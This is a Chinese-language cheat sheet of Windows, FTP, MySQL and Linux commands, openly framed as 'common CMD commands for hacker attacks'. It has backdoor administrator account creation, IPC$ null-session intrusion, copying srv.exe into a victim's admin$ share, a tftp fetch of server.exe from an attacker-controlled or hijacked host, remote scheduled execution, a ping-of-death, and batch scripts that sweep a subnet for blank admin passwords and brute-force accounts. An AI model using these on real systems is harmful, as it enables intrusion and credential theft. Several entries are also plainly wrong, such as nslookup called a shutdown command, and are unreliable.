# **黑客攻击常用CMD命令大全** net user heibai lovechina /add 加一个heibai的用户密码为lovechina net localgroup Administrators heibai /add 把他加入Administrator组 net start telnet 开对方的TELNET服务 net use z:\127.0.0.1c$ 映射对方的C盘 net use \\ip\ipc$ " " /user:" " 建立IPC空链接 net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: net use h: \\ip\c$ 登陆后映射对方C：到本地为H: net use \\ip\ipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名　密码　/add 建立用户 net user 查看有哪些用户 net user 帐户名 查看帐户的属性 net user guest /active:yes 将Guest用户激活 net user guest lovechina 把guest的密码改为lovechina net user 用户名 /delete 删掉用户 net user guest/time:m-f,08:00-17:00 表示guest用户登录时间为周一至周 五的net user guest/time:m,4am-5pm;t,1pm-3pm;w-f,8:00-17:00 表示guest用户登录时间为周一4:00/17:00,周二13:00/15:00,周三至周五8:00/17:00. net user guest/time:all表示没有时间限制. net user guest/time 表示guest用户永远不能登录. 但是只能限制登陆时间，不是上网时间 net time \\127.0.0.1 得到对方的时间， get c:\index.htm d:\ 上传的文件是INDEX.HTM，它位于C:\下，传到对方D:\ copy index.htm \\127.0.0.1\c$\index.htm 本地C盘下的index.htm复制到127.0.0.1的C盘 net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 net start 查看开启了哪些服务 net start 服务名　 开启服务；(如:net start telnet， net start schedule) net stop 服务名 停止某服务 net time \\目标ip 查看对方时间 net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加参数/yes可取消确认信息 net view 查看本地局域网内开启了哪些共享 net view \\ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置 net logoff 断开连接的共享 net pause 服务名 暂停某服务 net send ip "文本信息" 向对方发信息 net ver 局域网内正在使用的网络连接类型和信息 net share 查看本地开启的共享 net share ipc$ 开启ipc$共享 net share ipc$ /del 删除ipc$共享 net share c$ /del 删除C：共享 net user guest 12345 用guest用户登陆后用将密码改为12345 net password 密码 更改系统登陆密码 netstat -a 查看开启了哪些端口,常用netstat -an netstat -n 查看端口的网络连接情况，常用netstat -an netstat -v 查看正在进行的工作 netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） netstat -s 查看正在使用的所有协议使用情况 nbtsta\* -\* \*\* 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。 ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。 ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息 tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR \*.\*”表示删除当前目录下所有只读文件，“DEL/A-S \*.\*”表示删除当前目录下除系统文件以外的所有文件 del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） move 盘符\路径\要移动的文件名　存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令 at id号 开启已注册的某个计划任务 at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 at id号 /delete 停止某个已注册的计划任务 at 查看所有的计划任务 at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 finger username @host 查看最近有哪些用户登陆 telnet ip 端口 远和登陆服务器,默认端口为23 open ip 连接到IP（属telnet登陆后的命令） telnet 在本机上直接键入telnet 将进入本机的telnet copy 路径\文件名1　路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 copy c:\srv.exe $">\\ip\admin$ 复制本地c:\srv.exe到对方的admin下 cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 copy $\svv.exe">\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\\*.\* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C： xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机 ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 mem 查看cpu使用情况 attrib 文件名(目录名) 查看某文件（目录）的属性 attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间 set 指定环境变量名称=要指派给变量的字符 设置环境变量 set 显示当前所有的环境变量 set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 pause 暂停批处理程序，并显示出：请按任意键继续.... if 在批处理程序中执行条件处理（更多说明见if命令及变量） goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签） call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 echo 信息 在屏幕上显示出信息 echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello find 文件名 查找某文件 title 标题名字 更改CMD窗口标题名字 color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ ) print 文件名 打印文本文件 ver 在DOS窗口下显示版本信息 winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS md　目录名 创建目录 replace 源文件　要替换文件的目录 替换文件 ren 原文件名　新文件名 重命名文件名 tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 type 文件名 显示文本文件的内容 more 文件名 逐屏显示输出文件 doskey 要锁定的命令＝字符 doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= taskmgr 调出任务管理器 chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe path 路径\可执行文件的文件名 为可执行文件设置一个路径。 cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； regedit /e 注册表文件名 导出注册表 cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 cacls 文件名 查看文件的访问用户权限列表 REM 文本内容 在批处理文件中添加注解 netsh 查看或更改本地网络配置情况 IIS服务命令： iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） iisreset /start或stop 启动（停止）所有Internet服务 iisreset /restart 停止然后重新启动所有Internet服务 iisreset /status 显示所有Internet服务状态 iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 FTP 命令： (后面有详细说明内容) ftp的命令行格式为: ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。 －d 使用调试方式。 －n 限制ftp的自动登录,即不使用.netrc文件。 －g 取消全局文件名。 help [命令] 或 ？[命令] 查看命令说明 bye 或 quit 终止主机FTP进程,并退出FTP管理方式. pwd 列出当前远端主机目录 put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 mget [remote-files] 从远端主机接收一批文件至本地主机 mput local-files 将本地主机中一批文件传送至远端主机 dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 ascii 设定以ASCII方式传送文件(缺省值) bin 或 image 设定以二进制方式传送文件 bell 每完成一次文件传送,报警提示 cdup 返回上一级目录 close 中断与远程服务器的ftp会话(与open对应) open host[port] 建立指定ftp服务器连接,可指定连接端口 delete 删除远端主机中的文件 mdelete [remote-files] 删除一批文件 mkdir directory-name 在远端主机中建立目录 rename [from] [to] 改变远端主机中的文件名 rmdir directory-name 删除远端主机中的目录 status 显示当前FTP的状态 system 显示远端主机系统类型 user user-name [password] [account] 重新以别的用户名登录远端主机 open host [port] 重新建立一个新的连接 prompt 交互提示模式 macdef 定义宏命令 lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 chmod 改变远端主机的文件权限 case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 cd remote－dir 进入远程主机目录 cdup 进入远程主机目录的父目录 ! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip MYSQL 命令： mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。 （例：mysql -h110.110.110.110 -Uroot -P123456 注:u与root可以不用加空格，其它也一样） exit 退出MYSQL mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 grant select on 数据库.\* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 use mysql； show tables; 显示库中的数据表 describe 表名; 显示数据表的结构 create database 库名; 建库 use 库名； create table 表名 (字段设定列表)； 建表 drop database 库名; drop table 表名； 删库和删表 delete from 表名; 将表中记录清空 select \* from 表名; 显示表中的记录 mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 win2003系统下新增命令（实用部份）： shutdown /参数 关闭或重启本地或远程主机。 参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。 例：shutdown /r /t 0 立即重启本地主机（无延时） taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。 参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。 参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。 Linux系统下基本命令： 要区分大小写 uname 显示版本信息（同win2K的 ver） dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） pwd 查询当前所在的目录位置 cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。 cat 文件名 查看文件内容 cat >abc.txt 往abc.txt文件中写上内容。 more 文件名 以一页一页的方式显示一个文本文件。 cp 复制文件 mv 移动文件 rm 文件名 删除文件，rm -a 目录名删除目录及子目录 mkdir 目录名 建立目录 rmdir 删除子目录，目录内没有文档。 chmod 设定档案或目录的存取权限 grep 在档案中查找字符串 diff 档案文件比较 find 档案搜寻 date 现在的日期、时间 who 查询目前和你使用同一台机器的人以及Login时间地点 w 查询目前上机者的详细资料 whoami 查看自己的帐号名称 groups 查看某人的Group passwd 更改密码 history 查看自己下过的命令 ps 显示进程状态 kill 停止某进程 gcc 黑客通常用它来编译C语言写的文件 su 权限转换为指定使用者 telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 ftp ftp连接上某服务器（同win2K） 附：批处理命令与变量 1：for命令及变量 基本格式： FOR /参数 %variable IN (set) DO command [command\_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。 批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use $">\\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3 (set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1} command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开 command\_parameters：为特定命令指定参数或命令行开关 IN (set)：指在(set)中取值；DO command ：指执行command 参数：/L 指用增量形式{(set)为增量形式时}；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:\pass.txt)时}。 用法举例： @echo off echo 用法格式：test.bat \*.\*.\* > test.txt for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt 存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。 /L指用增量形式（即从1-254或254-1）；输入的IP前面三位：\*.\*.\*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 @echo off echo 用法格式：ok.bat ip FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。      Net命令的另类用法       Net User命令是一个DOS命令，必须在Windows XP下的MS-DOS模式下运行，所以首先要进入MS-DOS模式：选择“开始”菜单的“附件”选项的子选项“命令提示符”，或在“开始”菜单的“运行”选项（快捷键为Win+R）中输入“cmd.exe”，进入MS-DOS模式。以下功能都基于此模式下。       建立一个普通新用户在MS-DOS提示符中输入如下命令：“net user john 123 /add”，回车。即可新建一个名为“John”，密码为“123”的新用户。Add参数表示新建用户。       值得注意的是：用户名最多可有 20 个字符，密码最多可有 127 个字符。       建立一个登录时间受限制的用户用以下方法可实现对电脑使用时间的控制。比如，需要建立一个John的用户账号，密码为“123”，登录权限从星期一到星期五的早上八点到晚上十点和双休日的晚上七点到晚上九点。       1. 12小时制可键入如下命令：“net user john 123 /add /times：monday-friday，8AM-10PM；saturday-sunday，7PM-9PM”，回车确定即可。       2. 24小时制可键入如下命令：“net user john 123 /add /times：M-F，8：00-22：00；Sa-Su，19：00-21：00”，回车确定即可。        值得注意的是：Time的增加值限制为1小时。对于Day值，可以用全称或缩写（即 M、T、W、Th、F、Sa、Su）。可以使用12小时或24小时时间表示法。对于12小时表示法，请使用AM、PM或A.M.、P.M.。All值表示用户始终可以登录；空值（空白）意味着用户永远不能登录。用逗号分隔日期和时间，用分号分隔日期和时间单元（例如，M，4AM-5PM；T，1PM-3PM）。指定时间时不要使用空格。         另外，Passwordchg：{yesno}参数可用来指定用户是否可以更改自己的密码，默认设置为 Yes.限定用户的使用时间Net User命令还可以使用参数Expires：{{mm/dd/yyyy dd/mm/yyyy mmm，dd ，yyyy} never} 使用户账号根据指定的Date过期限定用户。过期日期可以是 [mm/dd/yyyy]、[dd/mm/yyyy] 或[mmm，dd，yyyy]格式。它取决于国家（地区）代码。用户账号在指定日期开始时到期。对于月份值，可以使用数字、全称或三个字母的缩写（即Jan、Feb、Mar、Apr、May、Jun、Jul、Aug、Sep、Oct、Nov、Dec）。对于年份值，可以使用两位数或四位数；使用逗号和斜杠分隔日期的各部分；不要使用空格。      Netsh的使用(组图) 　　有朋友问我，“能不能在命令行下直接修改Windows2000的IP地址？”。 　　 　　当然是可以的了。不仅可以修改IP地址，和网络相关的每个细节都可以用命令行方式进行配置。 　　 　　只不过一般大家不太习惯罢了。 　　 　　方法就是使用系统中提供的一个命令行工具“netsh”： 　　 　　首先，察看自己现在的ip地址： 　　　 　　列出了两块网卡，其中接口名为“本地连接”的这块网卡配置情况： 　　 　　使用了固定IP，其中ip地址为192.168.0.4，其他信息略（自己不会看啊） 　　 　　好了，我们来修改这个IP 　　 　　改成什么呢，稍微改一点点吧：　         现在ip就是192.168.0.5了。 　　 　　其实刚才改IP的时候并没有把命令写完整，完整的看这个：　 　　一堆命令吧，现在的IP地址已经修改成10.0.0.13了。 　　 　　当然，命令行下修改IP也可以只用1条命令　 　　到这里，netsh的最最最简单的功能，命令行下修改IP地址 已经说完了 　　 　　看到一个朋友是做网管的，管理着公司几个不同的网络，每次都要抱着笔记本修改成不同的ip地址、不同的子网掩码、、、其实，只要能够充分的发挥Netsh脚本的功能，就可以最快捷的修改自身的网络配置。 　　　　 　　首先，显示一个配置脚本　 　　我们进入Netsh环境，切换到interface ip环境 　　 　　通过dump命令将当前配置情况显示了出来。 　　 　　第二步，导出一个配置脚本　 　　这样，我们就把刚才显示的配置脚本保存成了一个文件c:\interface.txt 　　 　　第三步，复制一个脚本拷贝interface2.txt并修改它 　　 　　原因？简单嘛，为了更方便的切换网络环境啊　 　　注意哦，我们已经把所需要修改的ip地址、子网掩码、网关和dns做了修改。 　　 　　最后，再把新的配置文件直接导入系统。　 　　到这里，已经把网络配置部分修改了 　　总结： 　　 　　通过Netsh里面的dump命令可以直接显示配置脚本。 　　 　　而通过netsh -c interface ip dump >c:\interface.txt的方式可以导出配置脚本。 　　 　　然后再netsh -f c:\interface.txt的方式又可以把导出的配置脚本再导回去。 　　 　　一来一去间，就可以轻松的实现方便的修改网络配置。 　　 　　Netsh里面还有很多很多命令，诸如可以进入netsh环境后，在根级目录用exec命令 　　 　　也可以加载一个配置脚本。 　　 　　另外还有对wins、路由、ras等网络服务的配置也可以通过Netsh的内置命令直接操作。 　　 　　Windows的帮助里面都有相关的介绍。    计算机运行命令全集 winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构 wupdmgr--------windows更新程序 winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构 wupdmgr--------windows更新程序 wscript--------windows脚本宿主设置 write----------写字板winmsd-----系统信息 wiaacmgr-------扫描仪和照相机向导 winchat--------XP自带局域网聊天 mem.exe--------显示内存使用情况 Msconfig.exe---系统配置实用程序 mplayer2-------简易widnows media player mspaint--------画图板 mstsc----------远程桌面连接 player2-------媒体播放机 magnify--------放大镜实用程序 mmc------------打开控制台 mobsync--------同步命令 dxdiag---------检查DirectX信息 drwtsn32------ 系统医生 devmgmt.msc--- 设备管理器 dfrg.msc-------磁盘碎片整理程序 diskmgmt.msc---磁盘管理实用程序 dcomcnfg-------打开系统组件服务 ddeshare-------打开DDE共享设置 dvdplay--------DVD播放器 net stop messenger-----停止信使服务 net start messenger----开始信使服务 notepad--------打开记事本 nslookup-------网络管理的工具向导 ntbackup-------系统备份和还原 narrator-------屏幕"讲述人" ntmsmgr.msc----移动存储管理器 ntmsoprq.msc---移动存储管理员操作请求 netstat -an----(TC)命令检查接口 syncapp--------创建一个公文包 sysedit--------系统配置编辑器 sigverif-------文件签名验证程序 sndrec32-------录音机 shrpubw--------创建共享文件夹 secpol.msc-----本地安全策略 syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码 services.msc---本地服务设置 Sndvol32-------音量控制程序 sfc.exe--------系统文件检查器 sfc /scannow---windows文件保护 Nslookup-------60秒倒计时关机命令 tourstart------xp简介（安装完成后出现的漫游xp程序） taskmgr--------任务管理器 eventvwr-------事件查看器 eudcedit-------造字程序 explorer-------打开资源管理器 packager-------对象包装程序 perfmon.msc----计算机性能监测程序 progman--------程序管理器 regedit.exe----注册表 rsop.msc-------组策略结果集 regedt32-------注册表编辑器 rononce -p ----15秒关机 regsvr32 /u \*.dll----停止dll文件运行 regsvr32 /u zipfldr.dll------取消ZIP支持 cmd.exe--------CMD命令提示符 chkdsk.exe-----Chkdsk磁盘检查 certmgr.msc----证书管理实用程序 calc-----------启动计算器 charmap--------启动字符映射表 cliconfg-------SQL SERVER 客户端网络实用程序 Clipbrd--------剪贴板查看器 conf-----------启动netmeeting compmgmt.msc---计算机管理 cleanmgr-------\*\*整理 ciadv.msc------索引服务程序 osk------------打开屏幕键盘 odbcad32-------ODBC数据源管理器 oobe/msoobe /a----检查XP是否激活 lusrmgr.msc----本机用户和组 logoff---------注销命令 iexpress-------木马捆绑工具，系统自带 Nslookup-------IP地址侦测器 fsmgmt.msc-----共享文件夹管理器 utilman--------辅助工具管理器 gpedit.msc-----组策略